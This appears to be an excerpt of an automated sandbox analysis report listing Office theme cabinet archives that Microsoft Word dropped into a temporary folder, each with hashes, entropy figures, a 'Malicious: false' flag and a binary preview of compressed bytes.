SSDEEP:	6144:H2a+HFkDF8gpmMt4kzwVVqhSYO6DITxPWgJl1CFExwXyo7N:mlZgFtIVVTuDExeWuv7N
MD5:	84D8F3848E7424CBE3801F9570E05018
SHA1:	71D7F2621DA8B295CE6885F8C7C81016D583C6B1
SHA-256:	B4BC3CD34BD328AAF68289CC0ED4D5CF8167F1EE1D7BE20232ED4747FF96A80A
SHA-512:	E27873BFD95E464CB58B3855F2DA404858B935530CF74C7F86FF8B3FC3086C2FAEA09FA479F0CA7B04D87595ED8C4D07D104426FF92DFB31BED405FA7A017DA8
Malicious:	false
Preview:	MSCF............D................................D..........~..................M. .content.inf............M. .Dividend.thmx..).}.b..[.....`.........?.R...T../..............4..yy....{...f.h..\U......sy.gV0Q.@..A..@..3a.A}........7.q.......8......R....sJ)E..ENr.SB.1..).s.r.J.D.b."..........(.....E$.V........y.5.L....;gY..QK/nni..x..3.<..Q.Q..K.I.....T.z.,F.....{.p.....;8._.&../...........X...}.;[Gk..._.i`m.u.?...s.w...4.....m......l....5..n.?..c..m...,.....{.k.?......sC.............e..1....oL.8./......1._.K:.]..&......O............qo.....Dd/c...6.q.......V.v........h....L..h..C+..V..;O.(7Z]{I%....S3.{h....\...b.......5.ES......Z.4...o.c`..YA....9i....M.s....Z3.oq`....>.i..@.@n.a...x.3.zp.<....vU/.\|^CvE...aD.P&mhvM>.p..B~....."._.......v-.m..w..?._..=...:...k....i.}x.6....Y.i..n....h...j......LZ.....fk..f0.y.T..Vl.;...s.......B6.f.'z.c.\W?...4U)..aJ.;O....L.d7.J.V#Q.....\J.F.?].d}!..y].6..%..~....\|......5...'N.#.....t6.,.E.O."..0fyz....

C:\Users\user\AppData\Local\Temp\cabEC1C.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 533290 bytes, 2 files, at 0x44 +A "content.inf" +A "Parallax.thmx", flags 0x4, ID 64081, number 1, extra bytes 20 in head, 29 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	550906
Entropy (8bit):	7.998289614787931
Encrypted:	true
SSDEEP:	12288:N4Ar9NyDhUQM0Hk86V1YnOIxQ9e6SJbj2OjK:jAG8wa5Qw6SZ2Oj
MD5:	1C12315C862A745A647DAD546EB4267E
SHA1:	B3FA11A511A634EEC92B051D04F8C1F0E84B3FD6
SHA-256:	4E2E93EBAC4AD3F8690B020040D1AE3F8E7905AB7286FC25671E07AA0282CAC0
SHA-512:	CA8916694D42BAC0AD38B453849958E524E9EED2343EBAA10DF7A8ACD13DF5977F91A4F2773F1E57900EF044CFA7AF8A94B3E2DCE734D7A467DBB192408BC240
Malicious:	false
Preview:	MSCF....#......D...............Q...........#...D..........~..................M{. .content.inf............M{. .Parallax.thmx.9... y..[......(..b.P...E.Q.R.".RTH.%.T..F......u.{.+.P.....FK0].F...a{...D4`D..V.../.P,....2.Mx...u......0...E...{A-"J...)jl_.A..T......u.Y....ZG:....V.A.#~.. ..6..............o..X..<.... .......C.ce.f!nA.).p...p........n..................'6w6H6s.j....l...{?.h..........]..l.....v....%..l}A..................3...W_73.j......6...F.../..qG.?........H..).........7.&km....`m2..m.W.q.<../~<..6.78..X~.e+..CCw...T...6....AB..l..._.f......s.e....2....H..r.R.Z....a.,..\Q.q..._SJJ....7.S.R....=f..>....9=....NnC.....].-...\..Z..q..j...q.....Nj..^'..k...Zl.~PRvpz.J..+.C...k.z.w=l.#.............n...C..s.kM.@B{..vL.e....E..(/......f...g..=..V...}...).=s.....y!.,...X.[..[.....\31}..D%...%..+G66.j.v./.e9...P;.o.y..U+...g.g.S.../..B._L..h...Oi.._...:..5ls>>........n6.F.Q..v>..P.r:.a..Z....a...x..D....N...i..=L.u......<;Nv.X/.

C:\Users\user\AppData\Local\Temp\cabECDA.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 624532 bytes, 2 files, at 0x44 +A "content.inf" +A "Quotable.thmx", flags 0x4, ID 13510, number 1, extra bytes 20 in head, 30 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	640684
Entropy (8bit):	7.99860205353102
Encrypted:	true
SSDEEP:	12288:eV7ivfl+kbkIrWu+2aoRjwv/cSUWauGPo2v65s4QqcT3ZCCz6CSj8aC:fdhr1+3y4MWaC2CO4V+3ZCCDsO
MD5:	F93364EEC6C4FFA5768DE545A2C34F07
SHA1:	166398552F6B7F4509732E148F93E207DD60420B
SHA-256:	296B915148B29751E68687AE37D3FAFD9FFDDF458C48EB059A964D8F2291E899
SHA-512:	4F0965B4C5F543B857D9A44C7A125DDD3E8B74837A0FDD80C1FDC841BF22FC4CE4ADB83ACA8AA65A64F8AE6D764FA7B45B58556F44CFCE92BFAC43762A3BC5F4
Malicious:	false
Preview:	MSCF............D................4...............?..........~..................M. .content.inf."..........M. .Quotable.thmx..^.u.n..[...............&...U..F.......UU.M.T5.UUQS..j..#>43fD.....`....Vr......19'...P..j.-...6n.0c....4$.c....$.4.k3aQ$.lCN.#.[.."qc....,Z...,Qt@!.@...... ...H.......9.9.y.{....[.`..s3.5.....B....W.g.d...[uv.UW..............P.8.(.?......3.....'/F...0...8.P. .O..B....K...g..L.......#s...%..\|4.i....?.3b.".....g...?.........2.O23..'..O~.+..{...C.n.L......3......Y.L...?K...o......g....@.]...T..sU.....<.._.<G.......Tu.U2..v.&..<..^..e.].cY;..9.%..}...I.y.;...WM...3>.:.=.\|.-.AtT2OJ.I.#...#.y....A....\]$r...lM.%5.."...+7M..J.....c...".&$.... Y.r.B;..81B. +H...b....@7K..F.Z...v..=..ES.f.~.."...f..ho.X.E.a`~...C>.&..@\.[....(.....h..]...9&...sd.H .1.x.2..t.rj..o..A..^qF.S9.5.....E.{...C\|.w.c/V...0Q.M...........O.7;A4u...R..Z.B.7a.C`....p.z.....f!\|.u.3t....2e.wWH..'7p....E_...e.._;..k....&E.^.f=V..{..al.y:.4a...+.g...-..>e

C:\Users\user\AppData\Local\Temp\cabECEA.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 704319 bytes, 2 files, at 0x44 +A "content.inf" +A "Wood_Type.thmx", flags 0x4, ID 5778, number 1, extra bytes 20 in head, 51 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	723359
Entropy (8bit):	7.997550445816903
Encrypted:	true
SSDEEP:	12288:NPnBZX7wR3tMwYqNDQGnXTtfzO5U7yo6O7bLhe8yE3LLDok4a:JBMbYE7xzO5U917bLh/DL3oJa
MD5:	748A53C6BDD5CE97BD54A76C7A334286
SHA1:	7DD9EEDB13AC187E375AD70F0622518662C61D9F
SHA-256:	9AF92B1671772E8E781B58217DAB481F0AFBCF646DE36BC1BFFC7D411D14E351
SHA-512:	EC8601D1A0DBD5D79C67AF2E90FAD44BBC0B890412842BF69065A2C7CB16C12B1C5FF594135C7B67B830779645801DA20C9BE8D629B6AD8A3BA656E0598F0540
Malicious:	false
Preview:	MSCF....?.......D...........................?...`J..............3..............M.. .content.inf..+.........M.. .Wood_Type.thmx......r..[.........................!.wwwwqwwwwwwwwwww..."....+......nR..x..\..w..r.5R.....(\|.>.$e3.!..g....f..`9NL......o./.O.bxI...7.....\|........6.n."J.....4^g.........?...................o.......s3.....8. .T.j...._.Z.Q.t.k,(o.c.t.......?Z....`o........?.a....6.)....6b..../.t...........Mz....q}......C.......+{.......o...K.tQjt............7.._....O.....\....` ..............@..`....%..t....V.]........m..m....u..1.yr;..t..F.'..+{....zqvd.g._..$H..Vl...m..../....g..rG.....:......8....h...[...a06...U.W....5.Z.W..1I..#.2.....B3...x....$PRh...\{J.c.v.y..5+Y.W.N..hG......<..F..W.d8_....c...g....p\|7.]..^.o.H.[$Zj..{4......m.KZ..n.T%...4.Z..Y."q7?kuB......U....).~.......W%..!.e.U.mp.o...h...?.w...T.s.YG#......Y.}....Z.O.i.r,...n..4.\....P..m..=....f........v....g....j....wP..4.VK.y.z...C..oum.b.1......?.Z.>.7.!?......A..Q>..Z....-

C:\Users\user\AppData\Local\Temp\cabEDB8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 682092 bytes, 2 files, at 0x44 +A "Berlin.thmx" +A "content.inf", flags 0x4, ID 46672, number 1, extra bytes 20 in head, 30 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	698244
Entropy (8bit):	7.997838239368002
Encrypted:	true
SSDEEP:	12288:bUfKzAwwP7XAMWtr4FvMRt4lX0hnBdThiSb32+TdysrQgn7v4EemC6:sr7AMkJ34xu1bm4ZrQaY6
MD5:	E29CE2663A56A1444EAA3732FFB82940
SHA1:	767A14B51BE74D443B5A3FEFF4D870C61CB76501
SHA-256:	3732EB6166945DB2BF792DA04199B5C4A0FB3C96621ECBFDEAF2EA1699BA88EE
SHA-512:	6BC420F3A69E03D01A955570DC0656C83C9E842C99CF7B429122E612E1E54875C61063843D8A24DB7EC2035626F02DDABF6D84FC3902184C1EFF3583DBB4D3D8
Malicious:	false
Preview:	MSCF....lh......D...............P...........lh...?..........\|..................M. .Berlin.thmx............M. .content.inf..lH.lj..[...............7.I..)........P..5x.B/^y5.xk^^......D.F........s....y...?D..........&....".o..pl..Q.jm?_...6......=%.p.{.)S..y...$......,4..>#.........)..."-....K....4.E...L=.......4..p.c..nQ.0..ZO.#.....e.N..`U......oS....V..X[t.E)\|.h..R....$..}.{.F.7....^.....w.,...5rBR.....{.......mi...h.b......w+..;.hV......q..(.7&.Z.l...C."j........[-E4h.....v&..~.p$\|\X...8.....Fj'%,.)6w...u\|C..,y..E..`Up../(....2.(....Z.....,.'...d..s..Z....5.g.?Nq..04...f...D.x....q+.b.."v`{.NL....C..... ..n......1N+.I.{W9....2r.0...BaC.....O..=...k..."..8.D\jK.B...Aj....6,B..2...I.. B..^.4..1.K+.....DP...Mr....9..x[...>........?.Zd..'._2.._..>..'.F..#.w...2..~.\|........q_Wy.W.....~..Qex.km/..f......t.q..p..gm.\|.x.... ,.#\Z....p....a.}...%..v.J.Es......I.b.P?...0......F.x....E..j..6.%..E..-O.k...b .^.h.Cv...Z....D.n.d:.d.F..x...[1...B..

C:\Users\user\AppData\Local\Temp\cabEF31.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 937309 bytes, 2 files, at 0x44 +A "content.inf" +A "Gallery.thmx", flags 0x4, ID 44349, number 1, extra bytes 20 in head, 34 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	953453
Entropy (8bit):	7.99899040756787
Encrypted:	true
SSDEEP:	24576:9B1Onw3vg7aeYPagzbJ5Vhv6LnV2Dhl7GEYqVjcyd:vww3o7BYPJbJ5Vh6UCqZfd
MD5:	D4EAC009E9E7B64B8B001AE82B8102FA
SHA1:	D8D166494D5813DB20EA1231DA4B1F8A9B312119
SHA-256:	8B0631DA4DC79E036251379A0A68C3BA977F14BCC797BA0EB9692F8BB90DDB4D
SHA-512:	561653F9920661027D006E7DEF7FB27DE23B934E4860E0DF78C97D183B7CEBD9DCE0D395E2018EEF1C02FC6818A179A661E18A2C26C4180AFEE5EF4F9C9C6035
Malicious:	false
Preview:	MSCF....]M......D...............=...........]M...?..........}..."..............Li. .content.inf............Li. .Gallery.thmx.].(.Vq..[.....0Y..........v.....w.wwwww.wwwwww.w.....".83....y8..mg...o..U..N(..@uD.:O<........{.G....~~.....c.c.5..6./\|G .@#1O.B.............PT@...b.d.~..U....B.{.........0.H.....`.H.`..'S.......Ic..W..x...z....... .........g......._....o......S......p...$....._........._...K......x..?.6.U~...'./.r.................../.......5.8..2........2b.@j ....0.........``....H... ,5...........X........\|..Y.QoiW..\|.......x.sO8...Yb....7...m..b.f.hv..b......=...:Ar.-...[..A\.D..g..u....].9..M...'.R-`.....<..+.....]...1.^..I.z..W{.._....L.. ...4;..6O.....9,.-.Vt+b/$7..}.O05.Y...-..S.....$.....1."Z.r;.!..E.mMN..s .U...P%.[.P...cU...j...h.d.../.s..N/..:..X...p5.7\}h.Q ..._.F.X.C..z$.nV..+.k..\|.@.L...&.........^#.G.a..x..w!wx.8e+..E. i..$?9..8...:......\|..[."..y..&y..?...W....s..._...3Z0c.....i.q.........1c.jI....W..^%xH.._...n.......&J..

C:\Users\user\AppData\Local\Temp\cabEFC0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 1081343 bytes, 2 files, at 0x44 +A "Circuit.thmx" +A "content.inf", flags 0x4, ID 11309, number 1, extra bytes 20 in head, 45 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	1097591
Entropy (8bit):	7.99825462915052
Encrypted:	true
SSDEEP:	24576:UE9BMy98gA4cDWHkSrDans3MfEE6w8OaVuCibol0j41dwD:UE9Bdy3D4keQWt7w85VuVoaj4/Q
MD5:	BF95E967E7D1CEC8EFE426BC0127D3DE
SHA1:	BA44C5500A36D748A9A60A23DB47116D37FD61BC
SHA-256:	4C3B008E0EB10A722D8FEDB325BFB97EDAA609B1E901295F224DD4CB4DF5FC26
SHA-512:	0697E394ABAC429B00C3A4F8DB9F509E5D45FF91F3C2AF2C2A330D465825F058778C06B129865B6107A0731762AD73777389BB0E319B53E6B28C363232FA2CE8
Malicious:	false
Preview:	MSCF............D...............-,..............x?..........}...-...RU.........M. .Circuit.thmx.....RU.....M. .content.inf.g...&\|..[......=..R.....=.,.!QA?h..Q.!....Uk!.HJ.......VKuk.....q.w.w.U.....;...K.@.URA..0..B..\|rv.ND(.`{..@.1.}...s?.....-...O.(V.w..1..a.....aW...a.Z..aX....5.I...!..........(. ./.d...me.( ..f.........w.......Xp.s....c..vB.98.....C.J......V ..ML.M...B.n.>...\|....u!.5@t..q4....(K...u qL.S....>/%v%.2..TF.].e..'..-..L.N..c].a..(WU\o.%^..;...\|o.6..L..[..;&....^p.Lu.sr,-.R=.:.8.>VOB...:.?$.h.o....Zh.h....`.B.c.../K......b^...;2..bY.[.V.Q8....@..V7....I0c.cQN7..I.p..}..!..M....1K....+....9.2......a..W.V..........;.J .i......]%O.-......CeQ.0.c....MbP3.0.w..8w..Y...\|...H;#.J.+M......>.`y..aWk\|.i.BF.pJv;.....S..6....F.....RLG~..........J.=......"..........H.....h..o...u........M.6F?.F.p.B.>./*l....J.R..#P.....K......<iu..gm^..n...#c..zO"7M.O......4'>A..(.E.Cy.N.)....6.tx.r[.....7.......m.t..E?.....5.5.6.\..{.V.T.D.j..=~a^.I

C:\Users\user\AppData\Local\Temp\cabF020.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 1049713 bytes, 2 files, at 0x44 +A "content.inf" +A "Savon.thmx", flags 0x4, ID 60609, number 1, extra bytes 20 in head, 37 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	1065873
Entropy (8bit):	7.998277814657051
Encrypted:	true
SSDEEP:	24576:qehtHA3nsAOx7yN7THwxdGpkw8R60aTcua5U4c:hhmnsBMNAxdGpV5za5Uv
MD5:	E1101CCA6E3FEDB28B57AF4C41B50D37
SHA1:	990421B1D858B756E6695B004B26CDCCAE478C23
SHA-256:	69B2675E47917A9469F771D0C634BD62B2DFA0F5D4AF3FD7AFE9196BF889C19E
SHA-512:	B1EDEA65B6D0705A298BFF85FC894A11C1F86B43FAC3C2149D0BD4A13EDCD744AF337957CBC21A33AB7A948C11EA9F389F3A896B6B1423A504E7028C71300C44
Malicious:	false
Preview:	MSCF....q.......D...........................q... ?..........{...%..............M. .content.inf.Q_.........M. .Savon.thmx...O>.o..[..............&.5....UUcC.C....A...`TU...F....".54.E.....g.-.7-D....1g...p.6......@..w(....h'?.....(..........p..J.2n$4.........A......?...........@.C.W.R.5X..:....I..?....r.y..~!.....!.A.a...!........O.........5.x<C...?.?....C.C.......'....F../....../.$................4.7...................P...(.w.}6.........7.....01.1r........._..?.............'.._..JOx.CFA<.........0..2.?...>F.../...;..6-8..4...8&yb....".1%..v'..N...x......}.gYb..~L.....f[..!......Y.G.....p..r...?.p...F.Vy.....o.Whll...+...M.V...:.]...B.%.H....n..@.].zaVxf...y{.@....V.t.W....$Kp-.....7W.J..h..0A3mK.=.ub..R...W......*'T2..G#G,.^..T..XZu...U. ...76.d..#.I.JB.v...d...%.....6..O.K.[.:.L.\.....1.D..2a.>f......X...b5...ZgN.u.f...a!..."...sx....>..?.a.3.8.^._q..JS1.E..9..Lg.n.+....lE.f:j.9)Q..H1=..<.R.......{c>:.p[..S.9h.a.gL.U....8.z..z.!.....2I.~.b..2..c...

C:\Users\user\AppData\Local\Temp\cabF16A.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 1291243 bytes, 2 files, at 0x44 +A "content.inf" +A "Droplet.thmx", flags 0x4, ID 47417, number 1, extra bytes 20 in head, 54 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	1310275
Entropy (8bit):	7.9985829899274385
Encrypted:	true
SSDEEP:	24576:NN3M9UHpHZE4aubaPubP3M6d71FdtmFAjq+54/79LVzG+VnS:NN3M9UJHZE4abPyU4JtmFCq+q/7JlVS
MD5:	9C9F49A47222C18025CC25575337A965
SHA1:	E42EDB33471D7C1752DCC42C06DD3F9FDA8B25F0
SHA-256:	ADA7EFF0676D9CCE1935D5485F3DDE35C594D343658FB1DA42CB5A48FC3FC16A
SHA-512:	9FDCBAB988CBE97BFD931B727D31BA6B8ECF795D0679A714B9AFBC2C26E7DCF529E7A51289C7A1AE7EF04F4A923C2D7966D5AF7C0BC766DCD0FCA90251576794
Malicious:	false
Preview:	MSCF...........D...............9..............XJ..........}...6..............M.. .content.inf............M.. .Droplet.thmx..m7.>J..[...............2.QQPIj..."o^R.H5^...^(e.W...R..x..^`..m...."..+.....{o.......Q.-....$V.N>...T]..L.... ..N.h..dOY.......S......N.%.d..d....Y.....e..$...<.m...`............@....=.z..n..[...,G..1Fn.qPDH{C<...3.Q...2..r.....E.E.E.ErM"&a..'..W....:...?I..<.I..6o.`.d.?!..!..._.4\.._.E..).._O.S....; ..#..p.H.....c....o\.K..?$U.e.........!...J.v.....gNe._..[....#A.O.n_.....gm:P._.........{@..-g..j.69b.NH.I.$Hk?.6.n...@......'.C.._.U..:,j.-G.....e.#.Sr.t.L......d[.[...s.....rx.3.F[.5o..:....K.x..)M.fb...3IP.&h.Q.VX^%U.......x..l......@6.k.P..zSW.?....F..[L...4..b.l.w."&.....`.j...i.5}".~.-.....{\.:...o.'H\+)....3.Y......\...f:.;....e........4't7..f...w..j...3....N..9`.J...P..?.....=3_.y]...f.<.......JM5.}Q/ .F.a..Z.._yh......V..>m .......a....f....!.hz..\.....F_..'z...,....h.=.......=.o..T....3.e..........$..g.2.

C:\Users\user\AppData\Local\Temp\cabF341.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 1750009 bytes, 2 files, at 0x44 +A "content.inf" +A "Slate.thmx", flags 0x4, ID 28969, number 1, extra bytes 20 in head, 72 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	1766185
Entropy (8bit):	7.9991290831091115
Encrypted:	true
SSDEEP:	24576:O/gjMj+RP9Q07h9F75a0BXjBccHMVk2Hq2SkGa0QglyZtxmdPP2LcSUtfgfp16Yx:kJ6RP9Q07/X5V7yVF0QgktxAPutUt0zP
MD5:	828F96031F40BF8EBCB5E52AAEEB7E4C
SHA1:	CACC32738A0A66C8FE51A81ED8E27A6F82E69EB2
SHA-256:	640AD075B555D4A2143F909EAFD91F54076F5DDE42A2B11CD897BC564B5D7FF7
SHA-512:	61F6355FF4D984931E79624394CCCA217054AE0F61B9AF1A1EDED5ACCA3D6FEF8940E338C313BE63FC766E6E7161CAFA0C8AE44AD4E0BE26C22FF17E2E6ABAF7
Malicious:	false
Preview:	MSCF............D...............)q..............0?..........{...H..............M.. .content.inf.;.#........M.. .Slate.thmx.p.+..P..[......U..............p..K.!..........K..w..v........=....D$r...B....6 ...X.F0..d..m.s...$$r........m.)6.m3....vXn.l..o...a...V......Ru.:=2M.........T.....4S`EP......\..r,..v...G.P......'._H0]..%_............X.P.,.............H.?.-.H..".......M..&..o....R........<......`...D.H.._.G.Qv..(..U,.9..D...."..T..i.e../.e.."....,S...o.X.....c./..V....Z..o.O..2....{...+... ....0.@J.R.Q.m.....{.....h?u.q.O{...l.d)..Yk`.....#...u.-.m..#CXwrz4..7.>......v.E:.#.oGSKS.TX.Chm.4aQ......avH..{..j+@6[k].....`c..W8..j.v.Zh.]....4......K..#Hzyd..K}.....H\|<H..\(l...+..%Z......~.S:^..d>..1..H%..7N-v.....Wu.*..b^.B.....k0gc.2.{.!...E7.}3.d...{.Ye...&#f6...:2......v..&!..k0d.p.b...,..$.....Y..60...h.N}.r...<[./........{...Es..&.nf.....2.@Fh3.9.G....l.[.C..SD/6.H.K....}..m....M..........gl.P.]..I......5....e.c...V....P...[.=.......O.eq+

C:\Users\user\AppData\Local\Temp\cabF47B.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 1865728 bytes, 2 files, at 0x44 +A "content.inf" +A "Damask.thmx", flags 0x4, ID 63852, number 1, extra bytes 20 in head, 68 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	1881952
Entropy (8bit):	7.999066394602922
Encrypted:	true
SSDEEP:	49152:6Wp9u/ZAvKz7ZFCejPiSmYXKIr6kBwBUA:6W6Bn7ZFNiiKo2l
MD5:	53C5F45B22E133B28D4BD3B5A350FDBD
SHA1:	D180CFB1438D27F76E1919DA3E84F307CB83434F
SHA-256:	8AF4C7CAC47D2B9C7ADEADF276EDAE830B4CC5FFE7E765E3C3D7B3FADCB5F273
SHA-512:	46AD3DA58C63CA62FCFC4FAF9A7B5B320F4898A1E84EEF4DE16E0C0843BAFE078982FC9F78C5AC6511740B35382400B5F7AC3AE99BB52E32AD9639437DB481D1
Malicious:	false
Preview:	MSCF.....x......D...............l............x..`?..........\|...D..............M[. .content.inf...!........M[. .Damask.thmx...o.PI..[.............../.TU.jj0..3jCUPU.jF...m.UU.P}.....PU..........w..#....E..].................A.. w.$..@..'g.......6%:..r9..d.M;M+.r.8[d{.s..dh..(P..........!.. ..ne..f.Nc..#..Y..q....KB}..b].@..F.&.t....E.........@&.m......$w......q...:.H....p.p.....?.9x.. .....?...ao....I....................o......g.u..;."....O;....{..(k..._.w/.Z......Jb..P.O?...........?....F....ty..72......! #....v..J......?.....!,.5.7..Em.....is.h.. \.H)i1v..zwp.....P.....x].X{O//..\....Z>z....6...+..a.c...;.K..+...?014..p.w%o^.....]...MguF...`....r.S.......eF..):.dnk#.p{..<..{..Ym...>...H......x.}.hI..M....e......*G.&.?..~.~G6.....+...D..p...._...T....F6.[Cx./Q..Xe.>.;.}>.^..:..SB.X..2.......(A..&j9....\\.......Haf+]Y...$t^Y=........><.w....tL../E...%6.Vr~MI...l.....<.0.I....7.Q8y.f.uu...I.p..O..eYYS.O......9..Qo.......:..........o.............{

C:\Users\user\AppData\Local\Temp\cabF8B3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 2573508 bytes, 2 files, at 0x44 +A "content.inf" +A "Mesh.thmx", flags 0x4, ID 62129, number 1, extra bytes 20 in head, 94 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	2591108
Entropy (8bit):	7.999030891647433
Encrypted:	true
SSDEEP:	49152:ZSBBeAefkpB5iXfQJgi7JBaCCRZ3cM2VDHkvSJO6qzI1tE9Rn:EBI6gbCkMPDHKSJO6qsP6n
MD5:	BEB12A0464D096CA33BAEA4352CE800F
SHA1:	F678D650B4A41676BA05C836D462F34BDC5BF648
SHA-256:	A44166F5C9F2553555A43586BA5DB1C1DE54D72D308A48268F27C6A00076B1CA
SHA-512:	B6E7CCD1ECBB9A49FC72E40771725825DAF41DDB2FF8EA4ECCE18B8FA1A59D3B2C474ADD055F30DA58C7E833A6E6555EBB77CCC324B61CA337187B4B41F7008B
Malicious:	false
Preview:	MSCF.....D'.....D............................D'..D..........z...^..............M7. .content.inf............M7. .Mesh.thmx....&~j..[.....0.................]............ww,v.\....D......3m..m!f..0..E{..?..`..A...k.:....I..........\|bmG.FS...f.;.J.vzb.......R.......-....\|.......ESD.....".4M..M..t.N....y..,..#.4.5.2.......'.8.Q..3.D..T....!.......&rJg...s........(..9........Dw..'....9.-..G.c............E.. .O.....a..O.._..s..)7Wz~....bJ..D...o....0..R/.#...?.......~6.Q?....?y...g.?............TP..r-...>....-..!.6...B.....\../...2....4...p$...Oge.G.?.....S.#x(..$.A~.U.%f....dJ..S.f{.g.._..3{.fm2.....Z.\o&.[k.m....ko.8..r.-.Go.OQ..'!6..f.L...Ud.$.q.L.....R.. J.T&4g...7.2K...#k.[.].:....lk.....;c..DRx.`..&L..cpv.>.Ngz~.{..v5.\...'C.<R:.C8.\|.fE{......K...).....T...gz}..rF..Q.dof7.....D.f=cm...U\|.O.]F...5zg(.. ....S..._?D....^..+.i...Z.....+X..U!4qy..._..`I..>./.W.7......=.O....BG..=..%9\|...3.?...}.$"..H..u...0.......a..:t?.....8...Z..#g.=<.e.`\......KQ..U....

C:\Users\user\AppData\Local\Temp\cabF980.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 2511552 bytes, 2 files, at 0x44 +A "content.inf" +A "Main_Event.thmx", flags 0x4, ID 59889, number 1, extra bytes 20 in head, 90 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	2527736
Entropy (8bit):	7.992272975565323
Encrypted:	true
SSDEEP:	49152:NFXdpz4d98p/q5jA4q+9Uf5kx6wHR8WfPJZVhWzH4dRze76YP9nJ7yyAInT76nSY:NFXdKx5sM9SmxHKexZVhutJJVpCSqa0Z
MD5:	F256ACA509B4C6C0144D278C7036B0A8
SHA1:	93F6106D0759AFD0061F73B876AA9CAB05AA8EF6
SHA-256:	AD26761D59F1FA9783C2F49184A2E8FE55FCD46CD3C49FFC099C02310649DC67
SHA-512:	08C57661F8CC9B547BBE42B4A5F8072B979E93346679ADE23CA685C0085F7BC14C26707B3D3C02F124359EBB640816E13763C7546FF095C96D2BB090320F3A95
Malicious:	false
Preview:	MSCF.....R&.....D............................R&.8?..............Z..............M). .content.inf..,........M). .Main_Event.thmx......R..[...............=.1.^xa..^...../..^x....QA^"....^/.I.{/F..F..........6Vn. ..._Hmc......<....#.{.@.....Xl../Y....Ye..'V.f.S.Vf.T..0t+..y...5O...{.....-.dT...........!...[ .ns..k.....QAA.. ....B..u.`.....{.\u8.0.....@t........K....@..w.......>...-1F...........1.E....O............_M.m..CP.O......X......g......].../..:C...Q...i.._"...M..1o...S../...9....k;...}S........y..;1o....1h......t.CL.3...].@...T...4.6.}.....M...f...[.s.."f....nZ.W......0.c.{.`.^..Oo.[.JT.2].^.f..a....kO......Q..G..s.5...V.Wj.....e...I,]...SHa..U.N.N.....v.C.....x..J{.Z.t...]WN...77BO-J......g......3:i..2..EFeL.,n..t:..,~4gt.w...M.5.'h.L..#..A&.O.ys%K.Z....F.PW..=jH...jGB.i..j.J.^.#.\n...J@.....-5.f.1jZ68.o...H2.......$O...>..ld&,#$.&_....yl.fkP$.........l....s....i.tx.~<.z...>..2.Gx..B..z.E.3.N<....`$.....b..?.w.[.X..1.=q!.s......v.......r.w

C:\Users\user\AppData\Local\Temp\cabFD3B.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 3239239 bytes, 2 files, at 0x44 +A "content.inf" +A "Vapor_Trail.thmx", flags 0x4, ID 19811, number 1, extra bytes 20 in head, 111 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	3256855
Entropy (8bit):	7.996842935632312
Encrypted:	true
SSDEEP:	98304:wh7I1aeH9YvgK+A+a7GiiQzP4YZDpQ2+Sd6Y:w21ay93aypQzzhpBL/
MD5:	8867BDF5FC754DA9DA6F5BA341334595
SHA1:	5067CCE84C6C682B75C1EF3DEA067A8D58D80FA9
SHA-256:	42323DD1D3E88C3207E16E0C95CA1048F2E4CD66183AD23B90171DA381D37B58
SHA-512:	93421D7FE305D27E7E2FD8521A8B328063CD22FE4DE67CCCF5D3B8F0258EF28027195C53062D179CD2EBA3A7E6F6A34A7A29297D4AF57650AA6DD19D1EF8413D
Malicious:	false
Preview:	MSCF....Gm1.....D...............cM..........Gm1..D..............o... ..........MP. .content.inf...7. ......MP. .Vapor_Trail.thmx..n...N..[......L........7...+I..x...P7/...BH..Rm.\yqi.x..B....{.m.............=.....p.%.@......BpV.[......C.4..X./..Y.'SB..........0.Gr.FG.).....R\...2..Jt..1..._.4_B..................cn7H.-.....Q...1..G{G.~.. '.$......@.(....=@=..`....@.@.A. ....'.4`. .@....D...'....S.s..9.7" 